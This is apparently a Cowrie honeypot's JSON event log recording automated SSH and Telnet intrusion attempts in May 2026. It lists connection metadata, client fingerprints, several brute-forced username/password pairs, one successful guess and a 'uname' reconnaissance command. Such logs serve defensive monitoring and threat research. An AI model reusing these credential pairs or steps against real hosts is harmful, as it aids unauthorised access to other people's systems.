{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:14.241221Z","src_ip":"103.195.236.96","session":"d5173f0c90a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011990","message":"login attempt [root/01011990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:15.200617Z","src_ip":"103.195.236.96","session":"d5173f0c90a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.15388607978821,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:15.302884Z","src_ip":"152.42.224.71","session":"a2f6569597d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:16.449245Z","src_ip":"103.195.236.96","session":"d5173f0c90a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52014,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a49c6efeb91","protocol":"ssh","message":"New connection: 31.40.204.166:52014 (159.203.135.109:22) [session: 6a49c6efeb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:16.784061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:16.802875Z","src_ip":"31.40.204.166","session":"6a49c6efeb91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:16.916638Z","src_ip":"31.40.204.166","session":"6a49c6efeb91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58816,"dst_ip":"10.17.0.5","dst_port":22,"session":"512e7c949a84","protocol":"ssh","message":"New connection: 103.82.132.16:58816 (10.17.0.5:22) [session: 512e7c949a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:17.268303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:17.273475Z","src_ip":"103.82.132.16","session":"512e7c949a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:17.531629Z","src_ip":"103.82.132.16","session":"512e7c949a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:17.811160Z","src_ip":"31.40.204.166","session":"6a49c6efeb91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asshole","message":"login attempt [root/asshole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:18.301155Z","src_ip":"103.82.132.16","session":"512e7c949a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:18.990277Z","src_ip":"31.40.204.166","session":"6a49c6efeb91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:19.561969Z","src_ip":"103.82.132.16","session":"512e7c949a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.440812826156616,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:20.372853Z","src_ip":"152.42.224.71","session":"78065c5a9532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.94697141647339,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:21.133652Z","src_ip":"152.42.224.71","session":"ba8d0e3e2b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.846328020095825,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:22.277753Z","src_ip":"152.42.224.71","session":"8a9e6fb64054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.968196868896484,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:25.550823Z","src_ip":"152.42.224.71","session":"f50cc7889b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57258,"dst_ip":"159.203.135.109","dst_port":22,"session":"80ab2cab843f","protocol":"ssh","message":"New connection: 31.40.204.166:57258 (159.203.135.109:22) [session: 80ab2cab843f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:29.020512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:29.027848Z","src_ip":"31.40.204.166","session":"80ab2cab843f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:29.212280Z","src_ip":"31.40.204.166","session":"80ab2cab843f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39312,"dst_ip":"10.17.0.5","dst_port":23,"session":"717959e0cffd","protocol":"telnet","message":"New connection: 152.42.224.71:39312 (10.17.0.5:23) [session: 717959e0cffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:29.234621Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39322,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c762ed28ce","protocol":"telnet","message":"New connection: 152.42.224.71:39322 (10.17.0.5:23) [session: 82c762ed28ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:29.632877Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:29.782660Z","src_ip":"31.40.204.166","session":"80ab2cab843f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:31.085673Z","src_ip":"31.40.204.166","session":"80ab2cab843f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.62953519821167,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:31.348458Z","src_ip":"152.42.224.71","session":"531af5f3f7cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00222301483154,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:32.294552Z","src_ip":"152.42.224.71","session":"ae07f0d63bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39336,"dst_ip":"10.17.0.5","dst_port":23,"session":"7518154c6a65","protocol":"telnet","message":"New connection: 152.42.224.71:39336 (10.17.0.5:23) [session: 7518154c6a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:35.088699Z"}
{"eventid":"cowrie.session.closed","duration":94.6161093711853,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:35.478272Z","src_ip":"152.42.224.71","session":"56a8a4d0b15b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.86922526359558,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:36.305454Z","src_ip":"152.42.224.71","session":"cad30ae2523a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34108,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f18d66ecb7","protocol":"telnet","message":"New connection: 152.42.224.71:34108 (10.17.0.5:23) [session: 34f18d66ecb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:37.337671Z"}
{"eventid":"cowrie.session.closed","duration":30.930668830871582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:37.684065Z","src_ip":"152.42.224.71","session":"5364d85befda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33578,"dst_ip":"159.203.135.109","dst_port":22,"session":"051ff075dcbf","protocol":"ssh","message":"New connection: 31.40.204.166:33578 (159.203.135.109:22) [session: 051ff075dcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:40.685606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:40.709526Z","src_ip":"31.40.204.166","session":"051ff075dcbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:40.895775Z","src_ip":"31.40.204.166","session":"051ff075dcbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34116,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b573e4c99f","protocol":"telnet","message":"New connection: 152.42.224.71:34116 (10.17.0.5:23) [session: a6b573e4c99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:41.381040Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:41.519647Z","src_ip":"31.40.204.166","session":"051ff075dcbf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:41.845301Z","src_ip":"31.40.204.166","session":"051ff075dcbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:41.848753Z","src_ip":"31.40.204.166","session":"051ff075dcbf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:41.996907Z","src_ip":"31.40.204.166","session":"051ff075dcbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:42.001855Z","src_ip":"31.40.204.166","session":"051ff075dcbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.386753797531128,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:43.621287Z","src_ip":"152.42.224.71","session":"717959e0cffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.673250913619995,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:46.972456Z","src_ip":"152.42.224.71","session":"de925cab2588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58640,"dst_ip":"159.203.135.109","dst_port":22,"session":"fba19d7e709d","protocol":"ssh","message":"New connection: 31.40.204.166:58640 (159.203.135.109:22) [session: fba19d7e709d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:52.237519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:52.242256Z","src_ip":"31.40.204.166","session":"fba19d7e709d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:52.395821Z","src_ip":"31.40.204.166","session":"fba19d7e709d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:52.892991Z","src_ip":"31.40.204.166","session":"fba19d7e709d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:54.026694Z","src_ip":"31.40.204.166","session":"fba19d7e709d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.70788884162903,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:54.486398Z","src_ip":"152.42.224.71","session":"01e13d7b7447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":39882,"dst_ip":"159.203.135.109","dst_port":23,"session":"b353ba58f8d3","protocol":"telnet","message":"New connection: 176.65.139.118:39882 (159.203.135.109:23) [session: b353ba58f8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:54.528476Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50254,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbbd5a49e537","protocol":"telnet","message":"New connection: 152.42.224.71:50254 (10.17.0.5:23) [session: cbbd5a49e537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:56.462969Z"}
{"eventid":"cowrie.session.closed","duration":3.096576690673828,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:57.624951Z","src_ip":"176.65.139.118","session":"b353ba58f8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38510,"dst_ip":"159.203.135.109","dst_port":23,"session":"272215ee5aa3","protocol":"telnet","message":"New connection: 176.65.139.118:38510 (159.203.135.109:23) [session: 272215ee5aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:57.861256Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50268,"dst_ip":"10.17.0.5","dst_port":23,"session":"95642ea61479","protocol":"telnet","message":"New connection: 152.42.224.71:50268 (10.17.0.5:23) [session: 95642ea61479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:58.024922Z"}
